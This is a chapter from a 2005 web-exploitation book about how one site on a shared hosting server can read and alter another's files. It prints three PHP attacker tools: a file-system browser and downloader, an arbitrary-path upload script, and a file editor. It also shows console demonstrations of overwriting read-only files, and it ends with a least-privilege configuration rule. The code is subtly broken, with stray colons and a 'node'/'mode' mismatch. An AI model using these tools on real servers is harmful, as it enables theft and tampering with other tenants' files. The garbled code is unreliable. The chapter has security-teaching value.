Files and the Web Server

You might think that reliable protection against unauthorized access to files could be achieved by allowing only the owner of the files to access them for reading and writing.

However, for normal functioning of an HTTP server, files accessible from the Web must be accessible for reading to the user who started the HTTP server.

Sometimes, scripts (executed as CGI applications) require the user who started the HTTP server to have the right to execute these scripts.

Imagine a situation, in which the owners of a site can access only their files. In addition, suppose the hosting company allows its clients to place only static pages on their sites. Any dynamic content (except, perhaps, server-side include) is not supported. In this situation, it is impossible to access files on one site from the context of another site.

As always, the most secure configuration is one that uses only static documents that don't respond to changes in external conditions.

Note 

All assertions in this chapter are based on the assumption that the server, all its services, the HTTP server, interpreters, and so on, are configured, updated, and adjusted so that there are no vulnerabilities in their functionality.

However, systems and sites with only static content cannot satisfy their users nowadays. Therefore, hosting companies that allow their clients to put only static HTML pages wouldn't be competitive against companies that support dynamic content. So, you can be sure that any hosting company will host sites with dynamic content.

The source code of scripts is private information that shouldn't be available to a third party. At the same time, as I mentioned earlier, it should be available for reading to the user who started the HTTP server. In most configurations, the scripts are executed with the access rights of this user.

Therefore, you should remember the following warning.

Warning 

In some cases, a user able to execute any script in the context of a site can access any script on another site physically located on the same server.

This fact is the most important for the security of systems on hosting servers. By executing malicious scripts, an attacker can obtain the source code of scripts on another site physically located on the same server. In addition, the attacker sometimes can read other system files (e.g., HTTP server settings or system configuration files) even though he or she shouldn't.

For example, the following script can be used to investigate the file system of a server.

http://localhost/7/1.php

 <? $dir=$_GET['dir']; $file=$_GET['file']; $save=$_GET['save']; if(!empty ($file) && !empty($save)) {   $fname=addslashes($file);   Header("Content-Type: application/octet-stream");   $fullfile="{$dir}{$file}";   $f=fopen($fullfile, "r");   $ff="";   while($b=fread($f, 1024))   {     $ff.=$b;   };   fclose($f);   header("Content-Type: application/octet-stream; name=\"".$fname."\""):   header("Content-Disposition: attachment; filename=\"".$fname."\""):   header("Content-Length: ".strlen($ff)."");   header("Content-Transfer-Encoding: binary");   header("Connection: close");   echo ($ff);   exit; } if(empty($dir)) $dir="."; if(!preg_match("/\/$/", $dir, $rd) ) $dir.="/"; echo "<html> <head> <title>".htmlspecialchars($dir)."</title> </head> <b>".htmlspecialchars($dir)."</b> <table> <tr> <td>access rights</td> <td>owner</td> <td>group</td> <td>size</td> <td>name</td> </td> "; if ($ddir  =  opendir($dir)) {   while ($dfile  =  readdir($ddir))   {     $dfullfile=$dir.$dfile;     $str="<tr>";     $str.="<td>".htmlspecialchars(fileperms($dfullfile))."</td>";     $str.="<td>".htmlspecialchars(fileowner($dfullfile))."</td>";     $str.="<td>".htmlspecialchars(filegroup($dfullfile))."</td>";     $str.="<td>".htmlspecialchars(filesize($dfullfile))."</td>";     if(is_dir($dfullfile))     {       $dfullfile.="/";       $str.="<td><a href=\"1.php?dir=".       htmlspecialchars($dfullfile)."\"><b>".       htmlspecialchars ($dfile)."/</b></a></td>";     }     if(is_file($dfullfile)) {       $dfullfile.="/";       $str.="<td><a href=\"l.php?dir=".htmlspecialchars($dir).       "&file=".htmlspecialchars($dfile),"\">".       htmlspecialchars($dfile)."</a>       (<a href=\"1.php?dir=".htmlspecialchars($dir).       "&file=".htmlspecialchars($dfile).       "&save=1\">save</a>)       </td>";     }     $str.="</tr>";     echo $str;   }   closedir($ddir); } echo" </table> ". if(!empty($file)) {   $fullfile="{$dir}{$file}";   $f=fopen($fullfile, "r");   echo "<br><pre>---------".   htmlspecialchars($fullfile).   " ---------\r\n";   while($b=fread($f, 1024))   {     echo htmlspecialchars($b);   };   fclose($f); } echo " </body> </html> "; ?> 

This script displays the contents of the directory with the specified name and allows you to view the contents of the files. In addition, if a file contains codes that cannot be displayed as characters or that are too large, you can save it on the hard disk and examine later.

The script uses only file functions and doesn't call system() , which could be locked by the host.

As practice shows, this method of file analysis works even when the only option you have is the use of PHP and when the PHP interpreter is running in the safe mode. In addition, if you can execute operating system commands and obtain their results (i.e., you have certain restricted HTTP server rights), you can investigate the server file system by using commands such as cd, ls , and cat in UNIX-like operating systems or cd, dir , and type in Windows.

In these examples, I don't concentrate on who accesses other people's sites: the owner of a site on the hosting server or a malicious hacker who obtained access to a site on this server.

In these situations, various scenarios are possible.

A vulnerability in one site on the hosting server is a danger for all sites on this server. You could say it doesn't matter how many vulnerable sites are on a hosting server.

Therefore, even if the target server is on a hosting server and is developed with all safety precautions and without vulnerabilities, this doesn't guarantee the security of the system. One vulnerable site that is not of interest to the attacker can be a threat to the entire hosting system treated as a set of sites.

What's more, if the attacker fails to find vulnerable sites located on the same hosting server as the target server, the cost of breakage for the attacker will be equal to the cost of renting the disk space with an option of executing scripts on this hosting server.

In addition, some systems or sites require certain files to be available for writing to certain system scripts. In most cases, these files are simply made available for writing to all users. As a result, any user can change the contents of these files.

Because the primary goal is the ability to change the contents of these files using scripts, these files should be accessible for reading to the user who started the HTTP server. Thus, a person who controls a site (regardless of the ways, in which he or she obtained control) can change files available for writing on the target site.

For example, the following script can be used to write any content into the target file.

http://localhost/7/2.php

 <form enctype="multipart/form-data" method=POST> <input type=hidden name=MAX_FILE_SIZE value=1000000> file <input name=userfile type=file><br> target file: <input type=text name=fto> <input type=submit value="load"> </form> <?   if (!empty($_FILES["userfile"]["tmp_name"]))   {       $fto=$_POST['fto'];       echo "copying...<br>";       echo $_FILES["userfile"]["tmp_name"];       if(move_uploaded_file($_FILES["userfile"]["tmp_name"], $fto))       {         echo "<br> <br>         file loaded to ".htmlspecialchars($fto)."";       }   } ?> 

The attacker can use even more flexible tools to change the contents of any files. For example, he or she can use the following script to edit text files.

http://localhost/7/3.php

 <?  $fname=$_POST["fname"];  $mode=$_POST["mode"];  $text=$_POST["text"];  if(empty($mode)) $mode="show";  if($mode=="show")  {   echo "   <html>   <body>   <form method=POST>   file name <input type=text name=fname size=50>   <input type=submit value='edit'>   <input type=hidden name=node value='open'>   </form>   </body>   </html>   ";  }  if($mode=="write")  {   $f=fopen($fname, "w");   fwrite($f, $text);   fclose($f);   echo "   <html>   <body>   file '".htmlspecialchars($fname)."' is saved.   <form method=POST>   file name <input type=text name=fname size=50      value=\"".htmlspecialchars($fname)."\">   <input type=submit value=edit'>   <input type=hidden name=node value='open'>   </form>   </body>   </html>   ";  }  if ($mode=="open")  {   $f=fopen($fname, "r");   $text="";   while($r=fread($f, 1024))   {     $text.=$r;   }   fclose($f);   echo "   <html>   <body>   editing the file '".htmlspecialchars($fname).'".   <form method=POST>   <input type=hidden name=fname       value=\"".htmlspecialchars($fname)."\">   <input type=hidden name=node value='write'>   <textarea name=text cols=70 rows=20>".   htmlspecialchars($text)."</textarea>   <input type=submit value='save' >   </form>   ";  } ?> 

If the attacker controls a site on the server, he or she can load this file on the server and edit the files of another site available for writing.

Often, a file is not available for writing but the directory that contains it is available. In addition, this file can be available for reading to the attacker.

Consider an example. The attacker has the access rights of the apache user and the apache group. The attacker wants to change the image from book  TEST.TXT file, which is available to the apache user for reading but not for writing. The directory is available for writing to all users.

Console

 -bash-2.05b$ id uid=80(apache) gid=80(apache) groups=80(apache) -bash-2.05b$ ls -la total 8 drwxrwxrwx   2 user     user   512 Dec 15 17:06 . drwxr-xr-x  18 root     wheel 2560 Dec 15 17:03 .. -rw-r--r--   1 user     user    10 Dec 15 17:03 test.txt -bash-2.05b$ cat test.txt test file -bash-2.05b$ echo EDITED >> test.txt -bash: test.txt: Permission denied -bash-2.05b$ cp test.txt x.txt -bash-2.05b$ ls -la total 10 drwxrwxrwx   2 user     user    512 Dec 15 17:06 . drwxr-xr-x  18 root     wheel  2560 Dec 15 17:03 .. -rw-r--r--   1 user     user     10 Dec 15 17:03 test.txt -rw-r--r--   1 apache   apache   10 Dec 15 17:06 x.txt -bash-2.05b$ cat x.txt test file -bash-2.05b$ echo EDITED >> x.txt -bash-2.05b$ cat x.txt test file EDITED -bash-2.05b$ rm test.txt override rw-r--r-- user/user for test.txt? y -bash-2.05b$ ls -la total 8 drwxrwxrwx   2 user     user    512 Dec 15 17:07 . drwxr-xr-x  18 root     wheel  2560 Dec 15 17:03 .. -rw-r--r--   1 apache   apache   17 Dec 15 17:07 x.txt -bash-2.05b$ mv x.txt test.txt -bash-2.05b$ ls -la total 8 drwxrwxrwx   2 user     user    512 Dec 15 17:07 . drwxr-xr-x  18 root     wheel  2560 Dec 15 17:03 .. -rw-r--r--   1 apache   apache   17 Dec 15 17:07 test.txt -bash-2.05b$ cat test.txt test file EDITED -bash-2.05b$ 

This is how the content of a file available only for reading could be changed.

Note that a side effect of this method is that the owner of the file has changed.

Therefore, if the administrator investigates the incident, he or she will find the user who performed these actions.

However, in this example, the actions were performed using a script available through HTTP on behalf of the apache user. To find the person who performed these actions, the administrator will have to analyze log files on the server. In some cases, he or she will fail to find the person.

To eliminate the vulnerability that allows an attacker to use scripts executed with the access rights of the HTTP server to read files belonging to other systems, hosting providers sometimes configure their servers so that the scripts are executed with the access rights of their owner or of the owner of the site. With such an approach, you can make files available for reading only to their owners. It will be impossible to use scripts belonging to other sites to read the contents of these files.

I'd like to emphasize that you should be careful when setting access rights to these files; otherwise , you won't achieve the desired goal.

The higher the security level of invulnerable system, the lower the level of vulnerable ones. The rights of file owners are privileges higher than the rights of the HTTP server. As a rule, the user who started the HTTP server gains minimal rights in the system.

Consider a system, in which scripts accessed using HTTP are executed with the rights of their owner or of the owner of the site. If the attacker finds a vulnerability allowing him or her to execute any commands, he or she will be able to execute them with the access rights of that user. Because files belonging to a user are usually available for writing to that user, the attacker will be able to change the contents of these files and to read them.

The following example shows a typical approach to giving users rights.

Rights to access files

 -bash-2.05b$ ls -la total 10 drwxr-xr-x   2 user     user    512 Dec 15 17:06 . drwxr-xr-x  18 root     wheel  2560 Dec 15 17:03 .. drwxr-xr-x   1 user     user     10 Dec 15 17:03 dirl dr-xr-xr-x   1 user     user     10 Dec 15 17:03 rodir drwxrwxrwx   1 user     user     10 Dec 15 17:03 sharedir -rw-r--r--   1 user     user     10 Dec 15 17:03 test.txt -rw-------   1 user     user     10 Dec 15 17:03 test2.txt -rwxr-xr-x   1 user     user     10 Dec 15 17:03 test.cgi -r--------   1 user     user     10 Dec 15 17:03 passwd ----------   1 user     user     10 Dec 15 17:03 secret 

Note that the passwd and secret files aren't available for writing even to the owner of the files. In addition, the secret file is unavailable for reading.

However, it is easy to demonstrate that a person with access rights of the file owner can read and change the contents of the files.

How to access

 -bash-2.05b$ ls -la total 10 drwxr-xr-x   2 user     user    512 Dec 15 17:06 . drwxr-xr-x  18 root     wheel  2560 Dec 15 17:03 .. drwxr-xr-x   1 user     user     10 Dec 15 17:03 dirl dr-xr-xr-x   1 user     user     10 Dec 15 17:03 rodir drwxrwxrwx   1 user     user     10 Dec 15 17:03 sharedir -rw-r--r--   1 user     user     10 Dec 15 17:03 test.txt -rw-------   1 user     user     10 Dec 15 17:03 test2.txt -rwxr-xr-x   1 user     user     10 Dec 15 17:03 test.cgi -r--------   1 user     user     10 Dec 15 17:03 passwd ----------   1 user     user     10 Dec 15 17:03 secret -bash-2.05b$ chmod 777 secret -bash-2.05b$ chmod 777 passwd -bash-2.05b$ cat passwd Test PASSWD file -bash-2.05b$ cat secret Test SECRET file -bash-2.05b$ echo EDITED >> passwd -bash-2.05b$ echo EDITED >> secret -bash-2.05b$ cat passwd Test PASSWD file EDITED -bash-2.05b$ cat secret Test SECRET file EDITED -bash-2.05b$ chmod 000 secret -bash-2.05b$ chmod 400 passwd -bash-2.05b$ ls -la total 10 drwxr-xr-x   2 user     user    512 Dec 15 17:06 . drwxr-xr-x  18 root     wheel  2560 Dec 15 17:03 .. drwxr-xr-x   1 user     user     10 Dec 15 17:03 dir1 dr-xr-xr-x   1 user     user     10 Dec 15 17:03 rodir drwxrwxrwx   1 user     user     10 Dec 15 17:03 sharedir -rw-r--r--   1 user     user     10 Dec 15 17:03 test.txt -rw-------   1 user     user     10 Dec 15 17:03 test2.txt -rwxr-xr-x   1 user     user     10 Dec 15 17:03 test.cgi -r--------   1 user     user     10 Dec 15 17:03 passwd ----------   1 user     user     10 Dec 15 17:03 secret -bash-2.05b$ cat passwd Test PASSWD file EDITED -bash-2.05b$ cat secret cat: secret: Permission denied -bash-2.05b$ 

This is how the attacker with the access rights of a file owner can manipulate files and change their contents.

To summarize, I strongly recommend that you stick to the following rule when configuring the HTTP server:

Rule 

Scripts and programs that can be started using HTTP shouldn't be executed with the access rights of their owner or of the owner of the site. The best and the most common approach is to execute them with the access rights of a user with the minimum privileges in the system (e.g., nobody, apache , or www ).



Hacker Web Exploition Uncovered
Hacker Web Exploition Uncovered
ISBN: 1931769494
EAN: N/A
Year: 2005
Pages: 77

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net